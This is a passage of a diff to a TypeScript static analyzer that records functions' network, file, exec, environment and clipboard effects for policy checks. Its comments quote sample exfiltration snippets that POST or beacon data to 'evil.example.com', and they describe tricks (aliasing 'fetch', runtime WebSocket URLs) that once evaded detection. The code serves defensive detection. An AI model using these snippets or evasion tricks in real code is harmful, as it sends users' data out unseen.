if (isNumericLit(args[3])) return 4;
|
|
2485
|
+
if (isNumericLit(args[1])) return 2;
|
|
2486
|
+
return -1;
|
|
2487
|
+
}
|
|
2488
|
+
// ⟨0.29⟩ THE Fs PATH LITERAL, read from the PATH ARGUMENT POSITION — the third application of the
|
|
2489
|
+
// `programHeadLiteral` discipline, and the one that never got it. The comment above says that rule was
|
|
2490
|
+
// "generalized from Exec to Net"; it stopped there, and `Fs` went on reading the first literal ANYWHERE
|
|
2491
|
+
// in the call. MEASURED: `fs.writeFileSync(userPath, "/tmp/lit")` published `paths: ["/tmp/lit"]` — the
|
|
2492
|
+
// BYTES BEING WRITTEN — so `allow Fs /tmp/lit` certified a write to a runtime-controlled destination at
|
|
2493
|
+
// exit 0, while candor-java and candor-swift failed closed on identical code.
|
|
2494
|
+
//
|
|
2495
|
+
// Returns { lit, complete }: `lit` is the path literal at position 0 when there is one, and `complete` is
|
|
2496
|
+
// false when ANY path position is not a literal. Two-path operations are why that is not one boolean:
|
|
2497
|
+
// `fs.copyFile("/safe", userPath)` has a literal at position 0 and still writes somewhere nobody can see.
|
|
2498
|
+
const FS_TWO_PATH_MEMBERS = new Set([
|
|
2499
|
+
"copyFile", "copyFileSync", "cp", "cpSync", "rename", "renameSync",
|
|
2500
|
+
"link", "linkSync", "symlink", "symlinkSync",
|
|
2501
|
+
]);
|
|
2502
|
+
function fsPathLiteral(node, member) {
|
|
2503
|
+
const args = node.arguments ?? [];
|
|
2504
|
+
const at = (i) => (args[i] && ts.isStringLiteralLike(args[i]) ? args[i].text : null);
|
|
2505
|
+
const a0 = at(0);
|
|
2506
|
+
const needsTwo = FS_TWO_PATH_MEMBERS.has(member);
|
|
2507
|
+
const a1 = needsTwo ? at(1) : null;
|
|
2508
|
+
const complete = a0 !== null && (!needsTwo || a1 !== null);
|
|
2509
|
+
// EVERY literal path position, not just the first. Publishing position 0 and calling a
|
|
2510
|
+
// both-literal two-path call COMPLETE certified the position it never published:
|
|
2511
|
+
// `copyFileSync("/tmp/lit", "/tmp/dst")` under `allow Fs /tmp/lit` answered `policy ✓` at exit 0
|
|
2512
|
+
// while writing `/tmp/dst`. candor-java and candor-swift publish both. Found by generating a case
|
|
2513
|
+
// per node `fs` export and comparing against the four engines, not by re-reading this function.
|
|
2514
|
+
return { lits: [a0, a1].filter((x) => x !== null), complete };
|
|
2515
|
+
}
|
|
2265
2516
|
// CONST-STRING PROPAGATION (java constant-inlining parity): resolve a bare identifier that references a
|
|
2266
2517
|
// `const NAME = "literal"` string to its literal value, and ONLY then. Returns the string, or null. The
|
|
2267
2518
|
// soundness rule is strict: resolve ONLY when EVERY value-declaration of the symbol is an immutable
|
|
@@ -2368,7 +2619,7 @@ function literalHeadHostUrl(expr) {
|
|
|
2368
2619
|
}
|
|
2369
2620
|
return null;
|
|
2370
2621
|
}
|
|
2371
|
-
function urlArgLiteral(node, member) {
|
|
2622
|
+
function urlArgLiteral(node, member, mod) {
|
|
2372
2623
|
const args = node.arguments ?? [];
|
|
2373
2624
|
const litAt = (i) => {
|
|
2374
2625
|
const a = args[i];
|
|
@@ -2379,6 +2630,12 @@ function urlArgLiteral(node, member) {
|
|
|
2379
2630
|
return resolveConstUrlString(a) ?? literalHeadHostUrl(a);
|
|
2380
2631
|
};
|
|
2381
2632
|
if (member && NET_URL_ARG1_MEMBERS.has(member)) return litAt(0) ?? litAt(1); // (port, host) or (path)
|
|
2633
|
+
// ⟨0.29⟩ dgram `send` — keyed on the MODULE, because a bare `send` elsewhere legitimately takes its
|
|
2634
|
+
// URL first and reading position 2/4 there would invent a host out of an unrelated argument.
|
|
2635
|
+
if (member === "send" && /^(node:)?dgram$/.test(mod ?? "")) {
|
|
2636
|
+
const i = dgramSendAddressIndex(args);
|
|
2637
|
+
return i < 0 ? null : litAt(i);
|
|
2638
|
+
}
|
|
2382
2639
|
return litAt(0);
|
|
2383
2640
|
}
|
|
2384
2641
|
// Is arg0 a RUNTIME STRING expression whose host can't be known statically — a template, a string
|
|
@@ -3315,6 +3572,7 @@ function applyDepHit(rec, hit) {
|
|
|
3315
3572
|
// layer down. Additive: it can only ADD `unknown-host`, never remove a class, so it never turns a firing
|
|
3316
3573
|
// gate green.
|
|
3317
3574
|
if (hit.netIncomplete) rec.incomplete.add("Net");
|
|
3575
|
+
for (const eff of hit.incomplete ?? []) rec.incomplete.add(eff); // ⟨0.29⟩ see the sibling join site
|
|
3318
3576
|
}
|
|
3319
3577
|
function unanswerableKey(decl) {
|
|
3320
3578
|
if (!decl) return null;
|
|
@@ -3882,6 +4140,18 @@ const identIsGlobalProcess = (id) => {
|
|
|
3882
4140
|
const isProcessEnvExpr = (expr) =>
|
|
3883
4141
|
expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "env" && identIsGlobalProcess(expr.expression);
|
|
3884
4142
|
|
|
4143
|
+
// …AND `process.argv`, which is the same channel. §1 defines Env as "reading environment variables /
|
|
4144
|
+
// THE PROCESS ENVIRONMENT", and argv is process-startup state delivered by the same `exec` call that
|
|
4145
|
+
// delivers envp — secrets arrive through it (`--token=…`) exactly as they do through a variable.
|
|
4146
|
+
// candor-rust has always charged `std::env::args()` as Env; ts and swift read it as PURE, so a
|
|
4147
|
+
// cross-engine parity sweep found the three engines answering one question two ways, with NO
|
|
4148
|
+
// conformance row to catch it. This is conformance to §1's existing wording, not a new clause.
|
|
4149
|
+
// (The adjacent java ruling does NOT transfer: `System.getProperty` is excluded there because charging
|
|
4150
|
+
// it "flooded a scala-library scan with a spurious 14k Env" — JVM `-D` config read pervasively at
|
|
4151
|
+
// class-init. `argv` is read once in a main.)
|
|
4152
|
+
const isProcessArgvExpr = (expr) =>
|
|
4153
|
+
expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "argv" && identIsGlobalProcess(expr.expression);
|
|
4154
|
+
|
|
3885
4155
|
// The set of local-binding SYMBOLS that alias process.env — collected below, one pre-pass over the
|
|
3886
4156
|
// sources. A symbol lands here iff its ONLY initializer/assignment is `= process.env` (a reassignment
|
|
3887
4157
|
// to anything else removes it → the alias is cleared, per the spec's reassignment rule).
|
|
@@ -4416,14 +4686,86 @@ function visitCalls(node) {
|
|
|
4416
4686
|
// key on, so they read SILENT-PURE. `XMLHttpRequest.send`/`.open` issue the HTTP request; the
|
|
4417
4687
|
// `EventSource`/`WebSocket` constructors open a connection on construction. Net. (Found by a
|
|
4418
4688
|
// Net-deep sweep. The npm `ws` package is already κ-covered; this is the bare browser global.)
|
|
4419
|
-
|
|
4689
|
+
// ⟨0.29⟩ …AND THE HOST SURFACE, which these branches did not touch. Adding `Net` here bypasses
|
|
4690
|
+
// the `eff === "Net"` block that captures the endpoint and — when it is a runtime value — marks
|
|
4691
|
+
// the surface `incomplete`. So an invisible endpoint reached this way was recorded as Net with
|
|
4692
|
+
// NO hedge, and any benign literal in the same function certified it. MEASURED, `policy ✓` at
|
|
4693
|
+
// exit 0 under `allow Net ok.example`:
|
|
4694
|
+
// await fetch("https://ok.example/a"); // captures ok.example
|
|
4695
|
+
// new WebSocket(u); // Net, no host, no `incomplete` ← goes anywhere
|
|
4696
|
+
// That is the masking evasion the `incomplete` machinery exists to prevent, reached through the
|
|
4697
|
+
// two Net APIs whose branches skip it. Same shape as the EventKit/`privacyKind` and
|
|
4698
|
+
// `FS_USE_VERBS` gaps: a refinement the general path performs and a carve-out does not.
|
|
4699
|
+
//
|
|
4700
|
+
// POSITION, per the DOM signatures: `xhr.open(method, url)` puts the URL at argument 1 — the
|
|
4701
|
+
// one API in this file whose locator is neither 0 nor a labelled argument. `send` carries NO
|
|
4702
|
+
// url (the endpoint was fixed at `open`), so it is a USE-VERB: it must not mark `incomplete`,
|
|
4703
|
+
// or every XHR with a perfectly visible `open` literal would fail closed.
|
|
4704
|
+
if (parent === "XMLHttpRequest" && (name === "send" || name === "open")) {
|
|
4705
|
+
rec.direct.add("Net");
|
|
4706
|
+
if (name === "open") {
|
|
4707
|
+
const u = (node.arguments ?? [])[1];
|
|
4708
|
+
const lit = u && ts.isStringLiteralLike(u)
|
|
4709
|
+
? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
|
|
4710
|
+
const h = lit ? hostLiteral(lit) : null;
|
|
4711
|
+
if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
|
|
4712
|
+
else rec.incomplete.add("Net");
|
|
4713
|
+
}
|
|
4714
|
+
}
|
|
4715
|
+
// `navigator.sendBeacon(url, data)` — Net, and the one this set most needed. It exists to POST
|
|
4716
|
+
// data to a server on page-unload, it is what analytics and telemetry reach for, and it read
|
|
4717
|
+
// PURE: `deny Net` answered exit 0 over
|
|
4718
|
+
// navigator.sendBeacon("https://evil.example.com/collect", data)
|
|
4719
|
+
// on published 0.29.0. Found by sweeping the ALIAS spelling across every effect-global — the
|
|
4720
|
+
// alias was the question, and the DIRECT call turned out to be missing too.
|
|
4721
|
+
// The URL is argument 0. No literal ⇒ `incomplete: Net`, the same fail-closed posture the
|
|
4722
|
+
// `open`/ctor branches take, so a runtime endpoint cannot be certified by an allowlist.
|
|
4723
|
+
// `navigator.clipboard.writeText/readText/write/read` — Clipboard, a §6.1 BOUNDARY effect:
|
|
4724
|
+
// data leaves the program on write and arrives from outside it on read. The family rolled
|
|
4725
|
+
// Clipboard out everywhere (candor-swift charges NSPasteboard in both directions, candor-rust
|
|
4726
|
+
// charges arboard), and the WEB clipboard was the hole: it read PURE, so
|
|
4727
|
+
// await navigator.clipboard.writeText(secret) under `deny Clipboard` → exit 0, policy ✓
|
|
4728
|
+
// on published 0.29.0. Found by sweeping every effect-bearing global rather than the one that
|
|
4729
|
+
// prompted the sweep. `clipboardy` was never affected — an import resolves through κ.
|
|
4730
|
+
if (parent === "Clipboard"
|
|
4731
|
+
&& (name === "writeText" || name === "readText" || name === "write" || name === "read")) {
|
|
4732
|
+
rec.direct.add("Clipboard");
|
|
4733
|
+
}
|
|
4734
|
+
if (parent === "Navigator" && name === "sendBeacon") {
|
|
4735
|
+
rec.direct.add("Net");
|
|
4736
|
+
const u = (node.arguments ?? [])[0];
|
|
4737
|
+
const lit = u && ts.isStringLiteralLike(u)
|
|
4738
|
+
? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
|
|
4739
|
+
const h = lit ? hostLiteral(lit) : null;
|
|
4740
|
+
if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
|
|
4741
|
+
else rec.incomplete.add("Net");
|
|
4742
|
+
}
|
|
4743
|
+
// `crypto.getRandomValues(buf)` — the Web Crypto RNG is Rand, and `Rand` is in the vocabulary.
|
|
4744
|
+
// Node's `randomBytes` was already charged because it arrives through an IMPORT; the browser
|
|
4745
|
+
// global resolves to lib.dom and was charged nothing, so `deny Rand` passed over it.
|
|
4746
|
+
if (parent === "Crypto" && (name === "getRandomValues" || name === "randomUUID")) {
|
|
4747
|
+
rec.direct.add("Rand");
|
|
4748
|
+
}
|
|
4420
4749
|
// `new EventSource(url)` / `new WebSocket(url)`: the constructor is declared on an anonymous
|
|
4421
4750
|
// `declare var` object type (symbol `__type`, no usable parent name), but reaching the es-lib
|
|
4422
4751
|
// branch already proves the ctor resolved to lib.dom (not a project class shadowing the name),
|
|
4423
4752
|
// so the constructed identifier is the real browser global.
|
|
4424
4753
|
if (ts.isNewExpression(node)) {
|
|
4425
|
-
const
|
|
4426
|
-
|
|
4754
|
+
// …through an alias too: `const W = WebSocket; new W(url)` reads a ctor named "W".
|
|
4755
|
+
// Same defect as the call path, one node type over — hence the SHARED unwrap.
|
|
4756
|
+
const unCtor = unaliasGlobal(node.expression);
|
|
4757
|
+
const ctorName = unCtor.node.getText();
|
|
4758
|
+
if (unCtor.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
|
|
4759
|
+
if (ctorName === "EventSource" || ctorName === "WebSocket") {
|
|
4760
|
+
rec.direct.add("Net");
|
|
4761
|
+
// The URL is argument 0 of both constructors — see the XHR note above for the measurement.
|
|
4762
|
+
const u = (node.arguments ?? [])[0];
|
|
4763
|
+
const lit = u && ts.isStringLiteralLike(u)
|
|
4764
|
+
? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
|
|
4765
|
+
const h = lit ? hostLiteral(lit) : null;
|
|
4766
|
+
if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
|
|
4767
|
+
else rec.incomplete.add("Net");
|
|
4768
|
+
}
|
|
4427
4769
|
}
|
|
4428
4770
|
} else {
|
|
4429
4771
|
// The member token κ matches: the resolved declaration's name, EXCEPT a `new X()` call,
|
|
@@ -4450,9 +4792,23 @@ function visitCalls(node) {
|
|
|
4450
4792
|
// allowlist discipline, generalized from Net to all 4 effects; sweep [11]). Fs: the fd/FileHandle
|
|
4451
4793
|
// ops (fd came from open()); the path-taking fs.* fns are establishing. Exec: ChildProcess methods
|
|
4452
4794
|
// (the command was fixed at spawn); the spawn fns are establishing.
|
|
4795
|
+
// The node `fs` verbs whose FIRST argument is a DESCRIPTOR, not a path — the fd came from a
|
|
4796
|
+
// prior `open()` whose path this analysis already saw, so their invisible destination is not a
|
|
4797
|
+
// gap and marking them `incomplete` charges every buffered write in a real tree.
|
|
4798
|
+
//
|
|
4799
|
+
// ⟨0.29⟩ `readv`/`writev` (+Sync) were MISSING, and the ⟨0.29⟩ positional-literal fix is what
|
|
4800
|
+
// made it visible: before it, `writev(fd, "/tmp/lit")` had its literal found ANYWHERE in the
|
|
4801
|
+
// call and published as a path — a fabrication — so the set was never consulted for these four.
|
|
4802
|
+
// Killing the fabrication moved them into the other wrong bucket. Found by generating a case
|
|
4803
|
+
// per node `fs` export rather than reasoning about the list (24 fd verbs in node, 20 here).
|
|
4804
|
+
//
|
|
4805
|
+
// Forgetting a member here OVER-charges (safe); adding a path-taking verb by mistake
|
|
4806
|
+
// UNDER-reports. An allowlist is the right shape for exactly that reason — the inverse of
|
|
4807
|
+
// the denylist rule that governs the classifier surface.
|
|
4453
4808
|
const FS_USE_VERBS = new Set(["write", "writeSync", "read", "readSync", "close", "closeSync",
|
|
4454
4809
|
"fsync", "fsyncSync", "fdatasync", "fdatasyncSync", "ftruncate", "ftruncateSync", "fchmod",
|
|
4455
|
-
"fchmodSync", "fchown", "fchownSync", "futimes", "futimesSync", "fstat", "fstatSync"
|
|
4810
|
+
"fchmodSync", "fchown", "fchownSync", "futimes", "futimesSync", "fstat", "fstatSync",
|
|
4811
|
+
"readv", "readvSync", "writev", "writevSync"]);
|
|
4456
4812
|
const EXEC_USE_VERBS = new Set(["kill", "send", "disconnect", "ref", "unref"]);
|
|
4457
4813
|
const netEstablishing = (member) =>
|
|
4458
4814
|
CONNECTING_CTORS.has(ctorClassName) || NET_ESTABLISHING.has(member)
|
|
@@ -4516,7 +4872,7 @@ function visitCalls(node) {
|
|
|
4516
4872
|
// fetch/axios/the HTTP verbs), NEVER the first literal anywhere in the args: a trailing literal
|
|
4517
4873
|
// in headers/body/options must not be read as the host (FINDING 6). Ollama's model decision runs
|
|
4518
4874
|
// through the parsed host too, never a raw string that merely contains ":11434" (FINDING 1/9).
|
|
4519
|
-
const urlLit = urlArgLiteral(node, member);
|
|
4875
|
+
const urlLit = urlArgLiteral(node, member, mod);
|
|
4520
4876
|
const ollama = ollamaFromUrlArg(urlLit);
|
|
4521
4877
|
if (ollama === "capture-model" || ollama === "capture-plain") {
|
|
4522
4878
|
const h = hostLiteral(urlLit);
|
|
@@ -4544,7 +4900,16 @@ function visitCalls(node) {
|
|
|
4544
4900
|
// parity #1) — any call into these single-purpose clients is a model dispatch. Additive.
|
|
4545
4901
|
if (isModelSdkPackage(mod)) rec.direct.add("Llm");
|
|
4546
4902
|
if (eff === "Db") {
|
|
4547
|
-
|
|
4903
|
+
// ⟨0.29⟩ THE SQL SLOT, never the first literal anywhere. Every string-SQL client puts the
|
|
4904
|
+
// query at argument 0 (`query(text, values)`, `execute(sql, params)`, `raw(sql, bindings)`,
|
|
4905
|
+
// `prepare(sql)`), so a literal in a LATER position is a parameter, a fallback query, a
|
|
4906
|
+
// health-check string — data, not the statement being run. MEASURED:
|
|
4907
|
+
// `db.query(userSql, "SELECT * FROM audit_log")` published `tables: ["audit_log"]` and, because
|
|
4908
|
+
// a table HAD been captured, the masking guard below never fired — so `allow Db audit_log`
|
|
4909
|
+
// certified a query whose SQL is a runtime value. The `Fs` and `Net` defects of this rung, in
|
|
4910
|
+
// the fourth and last locator surface.
|
|
4911
|
+
const a0 = (node.arguments ?? [])[0];
|
|
4912
|
+
const lit = a0 && ts.isStringLiteralLike(a0) ? a0.text : null;
|
|
4548
4913
|
const before = rec.tables.size;
|
|
4549
4914
|
for (const t of lit ? tablesInSql(lit) : []) rec.tables.add(t);
|
|
4550
4915
|
// ORM route: `this.userRepository.find(…)` — the receiver's `Repository<UserEntity>`
|
|
@@ -4564,12 +4929,27 @@ function visitCalls(node) {
|
|
|
4564
4929
|
if (rec.tables.size === before && member !== "new") rec.incomplete.add("Db");
|
|
4565
4930
|
}
|
|
4566
4931
|
if (eff === "Exec") {
|
|
4567
|
-
|
|
4568
|
-
|
|
4932
|
+
// ⟨0.29⟩ `cmds` reads argv[0] too. It was documented as "the cosmetic cmds surface (any
|
|
4933
|
+
// literal)", but `cmds` is precisely what `allow Exec <cmd>` gates on (AS-EFF-008) — nothing
|
|
4934
|
+
// cosmetic about it. No node API places a bare string after the head (args are an array,
|
|
4935
|
+
// options an object), so this changes no measured behaviour today; it removes the hazard for
|
|
4936
|
+
// the next exec-like wrapper whose second argument is a string, which is how the identical
|
|
4937
|
+
// defect reached `Fs`, `Net` and `Db` in this same rung.
|
|
4938
|
+
// ⟨0.29⟩ A USE-VERB NAMES NO PROGRAM, and its argument 0 is not a head. `EXEC_USE_VERBS`
|
|
4939
|
+
// already says so — it is consulted for the `incomplete` branch below and was NOT consulted
|
|
4940
|
+
// here, so `child.send(msg)` (IPC to an ALREADY-spawned child) read its MESSAGE as argv[0].
|
|
4941
|
+
// MEASURED: `ch.send("ls")` published `cmds: ["ls"]` and certified under `allow Exec ls`
|
|
4942
|
+
// though the function executes nothing, and `ch.send("curl")` FABRICATED `Net` — a function
|
|
4943
|
+
// that makes no network call reported as performing one, which `deny Net` then fires on.
|
|
4944
|
+
// That is exactly what the doc comment above forbids ("`spawn(toolVar, "curl")` must NOT
|
|
4945
|
+
// fabricate Net — the literal is an argument, not the program"); the rule was written for the
|
|
4946
|
+
// argument POSITION and never covered the same hazard reached through the RECEIVER.
|
|
4947
|
+
const lit = EXEC_USE_VERBS.has(member) ? null : programHeadLiteral(node);
|
|
4948
|
+
if (lit) rec.cmds.add(lit.trim().split(/\s+/)[0]);
|
|
4569
4949
|
// a known literal head refines the cliff (curl→Net, candor→Fs/Env); Exec stays. The head
|
|
4570
4950
|
// MUST be argv[0] (programHeadLiteral), NOT any literal arg: `spawn(toolVar, "curl")`
|
|
4571
4951
|
// names no static program, so its trailing literal must not fabricate Net (spec §4).
|
|
4572
|
-
const head =
|
|
4952
|
+
const head = lit;
|
|
4573
4953
|
if (head) for (const e of commandHeadEffects(head)) rec.direct.add(e);
|
|
4574
4954
|
// masking (sweep [11]): an Exec call whose program head is NOT a static literal (runtime
|
|
4575
4955
|
// command) leaves the command invisible. Establishing = the spawn fns; ChildProcess use-verbs
|
|
@@ -4577,12 +4957,16 @@ function visitCalls(node) {
|
|
|
4577
4957
|
else if (!EXEC_USE_VERBS.has(member)) rec.incomplete.add("Exec");
|
|
4578
4958
|
}
|
|
4579
4959
|
if (eff === "Fs") {
|
|
4580
|
-
|
|
4581
|
-
const
|
|
4582
|
-
|
|
4960
|
+
// ⟨0.29⟩ the PATH POSITION, never the first literal anywhere — see fsPathLiteral.
|
|
4961
|
+
const { lits, complete } = fsPathLiteral(node, member);
|
|
4962
|
+
const captured = lits.filter((l) => /[/\\]|^[.~]/.test(l)); // path-shaped literals only
|
|
4963
|
+
const pathCaptured = captured.length > 0 && captured.length === lits.length;
|
|
4964
|
+
for (const l of captured) rec.paths.add(l);
|
|
4583
4965
|
// masking (sweep [11]): a path-taking fs.* call whose path is NOT a captured literal (runtime
|
|
4584
4966
|
// path) leaves it invisible. fd/FileHandle USE-verbs (fd came from a prior open()) are excluded.
|
|
4585
|
-
|
|
4967
|
+
// ⟨0.29⟩ `complete` also covers a two-path op whose SECOND path is runtime, which a captured
|
|
4968
|
+
// position-0 literal would otherwise certify.
|
|
4969
|
+
if (!(pathCaptured && complete) && !FS_USE_VERBS.has(member)) rec.incomplete.add("Fs");
|
|
4586
4970
|
}
|
|
4587
4971
|
// CANDOR_DEPS: an unclassified call into a package with a loaded sibling report inherits
|
|
4588
4972
|
// that function's recorded transitive effects (+ literal surfaces) by `hash`.
|
|
@@ -4691,6 +5075,11 @@ function visitCalls(node) {
|
|
|
4691
5075
|
// on process.env or a confirmed alias, destructuring a key off it, and the `in` membership test.
|
|
4692
5076
|
{
|
|
4693
5077
|
const markEnv = () => { const owner = enclosing(node); if (owner) fns.get(owner).direct.add("Env"); };
|
|
5078
|
+
// `process.argv` — the same channel, and the same ruling candor-rust has always applied to
|
|
5079
|
+
// `std::env::args()`. Reading the ARRAY is the read: `process.argv[2]`, `process.argv.slice(2)`,
|
|
5080
|
+
// `const [,,x] = process.argv`, or handing it to a parser all reach the same process-startup state.
|
|
5081
|
+
// Marked on the expression itself so every idiom counts without enumerating them.
|
|
5082
|
+
if (isProcessArgvExpr(node)) markEnv();
|
|
4694
5083
|
// `process.env.KEY` / `env.KEY` (dot) and `process.env["KEY"]` / `env[k]` (bracket, literal OR dynamic key).
|
|
4695
5084
|
if ((ts.isPropertyAccessExpression(node) || ts.isElementAccessExpression(node)) && readsProcessEnv(node.expression)) {
|
|
4696
5085
|
markEnv();
|
|
@@ -4725,7 +5114,33 @@ function visitCalls(node) {
|
|
|
4725
5114
|
// callee — `process.*` by exact text (mirroring the process.env match), `fetch` by identifier whose
|
|
4726
5115
|
// symbol is NOT a local declaration (so a project's own `fetch` shadow never fabricates Net).
|
|
4727
5116
|
if (ts.isCallExpression(node)) {
|
|
4728
|
-
|
|
5117
|
+
// …AND THROUGH A LOCAL ALIAS OF THE GLOBAL, which is the spelling this block kept missing.
|
|
5118
|
+
//
|
|
5119
|
+
// Every test below reads the CALLEE NODE — `callee.text === "fetch"`, `ctext === "globalThis.fetch"`.
|
|
5120
|
+
// `const send = fetch; send(url)` has callee `send`, so it matched nothing and the call vanished:
|
|
5121
|
+
//
|
|
5122
|
+
// export async function exfil(data: string) {
|
|
5123
|
+
// const send = fetch;
|
|
5124
|
+
// await send("https://evil.example.com/collect", { method: "POST", body: data });
|
|
5125
|
+
// }
|
|
5126
|
+
// deny Net → exit 0, `policy ✓`, 0 effectful functions MEASURED on published 0.29.0
|
|
5127
|
+
//
|
|
5128
|
+
// A POST of caller data to an external host, certified clean: the cardinal sin. It is also the THIRD
|
|
5129
|
+
// spelling of one defect — the comment below records `globalThis.fetch` "read silent-pure" until it
|
|
5130
|
+
// was added beside the bare identifier. Fixing the instance and not the class is what left this one.
|
|
5131
|
+
//
|
|
5132
|
+
// Imports were never affected (`const g = fs.readFileSync; g(p)` charges Fs, and so do the named and
|
|
5133
|
+
// destructured forms) because those resolve through the symbol table. Only the GLOBALS matched here
|
|
5134
|
+
// are keyed by text, so only they needed unwrapping. candor-rust and candor-swift both charge the
|
|
5135
|
+
// aliased form already; this was ts alone.
|
|
5136
|
+
//
|
|
5137
|
+
// SHADOW-SAFE, which is the whole reason the guards below test the symbol rather than the name: the
|
|
5138
|
+
// unwrap yields the INITIALIZER NODE, so `const send = fetch` where `fetch` is a project-local
|
|
5139
|
+
// declaration still fails the "not declared in this project" test and fabricates nothing. Bounded to
|
|
5140
|
+
// 4 hops, and only through a plain identifier/property-access initializer — a rebinding, never a
|
|
5141
|
+
// computed value, so nothing here follows a function call or a conditional into a wrong answer.
|
|
5142
|
+
const un = unaliasGlobal(node.expression);
|
|
5143
|
+
const callee = un.node;
|
|
4729
5144
|
const ctext = callee.getText().replace(/\s+/g, "");
|
|
4730
5145
|
let geff = null;
|
|
4731
5146
|
// The member path AFTER the global `process` object, or null: `process.hrtime` → "hrtime",
|
|
@@ -4749,15 +5164,70 @@ function visitCalls(node) {
|
|
|
4749
5164
|
else if (ts.isIdentifier(callee) && importedFromNetPkg(callee))
|
|
4750
5165
|
geff = "Net"; // a bare call to an HTTP-client default/named import (installed → sig resolves here) — #13
|
|
4751
5166
|
|
|
4752
|
-
|
|
4753
|
-
|
|
4754
|
-
|
|
5167
|
+
// …AND `fetch` REACHED THROUGH AN IMPORT, which this guard was treating as the project's own.
|
|
5168
|
+
//
|
|
5169
|
+
// The guard asks "is this fetch declared in a project file?", so a project's own `fetch` never
|
|
5170
|
+
// fabricates Net. For `import { fetch } from "node-fetch-native/proxy"` the symbol's declaration is
|
|
5171
|
+
// the IMPORT SPECIFIER — which lives in the importing file, a project file — so the guard said yes
|
|
5172
|
+
// and withheld Net. Declared-in-a-project-file is not DEFINED-BY-the-project.
|
|
5173
|
+
//
|
|
5174
|
+
// MEASURED, and the shape is a MONOTONICITY VIOLATION:
|
|
5175
|
+
// without node_modules → `exfil` reports Unknown (honest — the import did not resolve)
|
|
5176
|
+
// WITH node_modules → `exfil` reports NOTHING, pure (silent)
|
|
5177
|
+
// Installing dependencies gives the analyzer MORE information and produced a LESS safe answer, and
|
|
5178
|
+
// `deny Net` certified `await fetch("https://evil.example.com/collect", {method:"POST", body:data})`.
|
|
5179
|
+
// Found on REAL code: giget's `_utils.download`, a function whose whole job is an HTTP download,
|
|
5180
|
+
// reported `['Fs']` alone with its 474 packages installed.
|
|
5181
|
+
//
|
|
5182
|
+
// Resolve THROUGH the alias: the aliased symbol's declaration says whether the project defines this,
|
|
5183
|
+
// and its NAME says whether it is `fetch` — so a renamed `import { fetch as nfn }` is caught too,
|
|
5184
|
+
// where the callee text is `nfn`. `import { fetch } from "./my-mock"` still lands in a project file
|
|
5185
|
+
// and still charges nothing.
|
|
5186
|
+
else if (ts.isIdentifier(callee) && (() => {
|
|
5187
|
+
const sym0 = checker.getSymbolAtLocation(callee);
|
|
5188
|
+
if (!sym0) return false;
|
|
5189
|
+
// WHERE DID IT COME FROM? The module SPECIFIER decides, not file-set membership. A RELATIVE
|
|
5190
|
+
// import is the project's own module by definition; a BARE specifier is a package. Keying on
|
|
5191
|
+
// `projectFiles` instead was wrong and the control caught it: scanning a single FILE leaves a
|
|
5192
|
+
// sibling `./mock` outside the analyzed set, so a project's own mock fabricated Net. The
|
|
5193
|
+
// specifier is the same thing κ classifies on, and it does not move with the scan's shape.
|
|
5194
|
+
for (const d of sym0.declarations ?? []) {
|
|
5195
|
+
const imp = ts.isImportSpecifier(d) ? d.parent?.parent?.parent
|
|
5196
|
+
: ts.isImportClause(d) ? d.parent
|
|
5197
|
+
: ts.isNamespaceImport(d) ? d.parent?.parent : null;
|
|
5198
|
+
const spec = imp && ts.isImportDeclaration(imp) ? imp.moduleSpecifier : null;
|
|
5199
|
+
if (spec && ts.isStringLiteralLike(spec)) {
|
|
5200
|
+
if (spec.text.startsWith(".") || spec.text.startsWith("/")) return false; // the project's own
|
|
5201
|
+
let t = sym0;
|
|
5202
|
+
if (t.flags & ts.SymbolFlags.Alias) { try { t = checker.getAliasedSymbol(t); } catch { /* unresolved */ } }
|
|
5203
|
+
if ((t?.getName?.() ?? callee.text) !== "fetch") return false;
|
|
5204
|
+
// …AND IT MUST BE SHAPED LIKE FETCH. The name alone is not evidence: a package exporting a pure
|
|
5205
|
+
// `fetch(key)` cache-getter was charged Net, and this file's own header says "resolve, don't
|
|
5206
|
+
// pattern-match". The checker already knows the answer — the web API returns `Promise<Response>`,
|
|
5207
|
+
// a cache-getter returns `{ key: string }` — so ask it rather than trusting the identifier.
|
|
5208
|
+
// Only the IMPORT rule is gated this way; the ambient global stays as it was, because it is
|
|
5209
|
+
// lib.dom's `fetch` by definition and would otherwise stop being charged wherever lib.dom is
|
|
5210
|
+
// absent. When no signature resolves at all, this returns false and the call falls through to
|
|
5211
|
+
// the unresolved-import path, which discloses Unknown — never a concrete effect on a guess.
|
|
5212
|
+
const rt = checker.getTypeAtLocation(callee);
|
|
5213
|
+
for (const sg of (rt?.getCallSignatures?.() ?? [])) {
|
|
5214
|
+
if (/\bResponse\b/.test(checker.typeToString(checker.getReturnTypeOfSignature(sg)))) return true;
|
|
5215
|
+
}
|
|
5216
|
+
return false;
|
|
5217
|
+
}
|
|
5218
|
+
}
|
|
5219
|
+
// Not an import at all: the ambient global, unless the project declares its own.
|
|
5220
|
+
if (callee.text !== "fetch") return false;
|
|
5221
|
+
return !(sym0.declarations ?? []).some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
|
|
5222
|
+
})())
|
|
4755
5223
|
geff = "Net";
|
|
4756
5224
|
// the fully-qualified global fetch — `globalThis.fetch`/`window.fetch`/`self.fetch` — is a
|
|
4757
5225
|
// PropertyAccess callee the bare-identifier guard above misses, so it read silent-pure. Mirror the
|
|
4758
5226
|
// `eval` global-qualifier handling (a runtime global a project would not shadow).
|
|
4759
5227
|
else if (ctext === "globalThis.fetch" || ctext === "window.fetch" || ctext === "self.fetch")
|
|
4760
5228
|
geff = "Net";
|
|
5229
|
+
// An alias chain this helper stopped following is an UNRESOLVED callee, not a pure one.
|
|
5230
|
+
if (un.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
|
|
4761
5231
|
if (geff) {
|
|
4762
5232
|
const owner = enclosing(node);
|
|
4763
5233
|
if (owner) {
|
|
@@ -4801,6 +5271,64 @@ function visitCalls(node) {
|
|
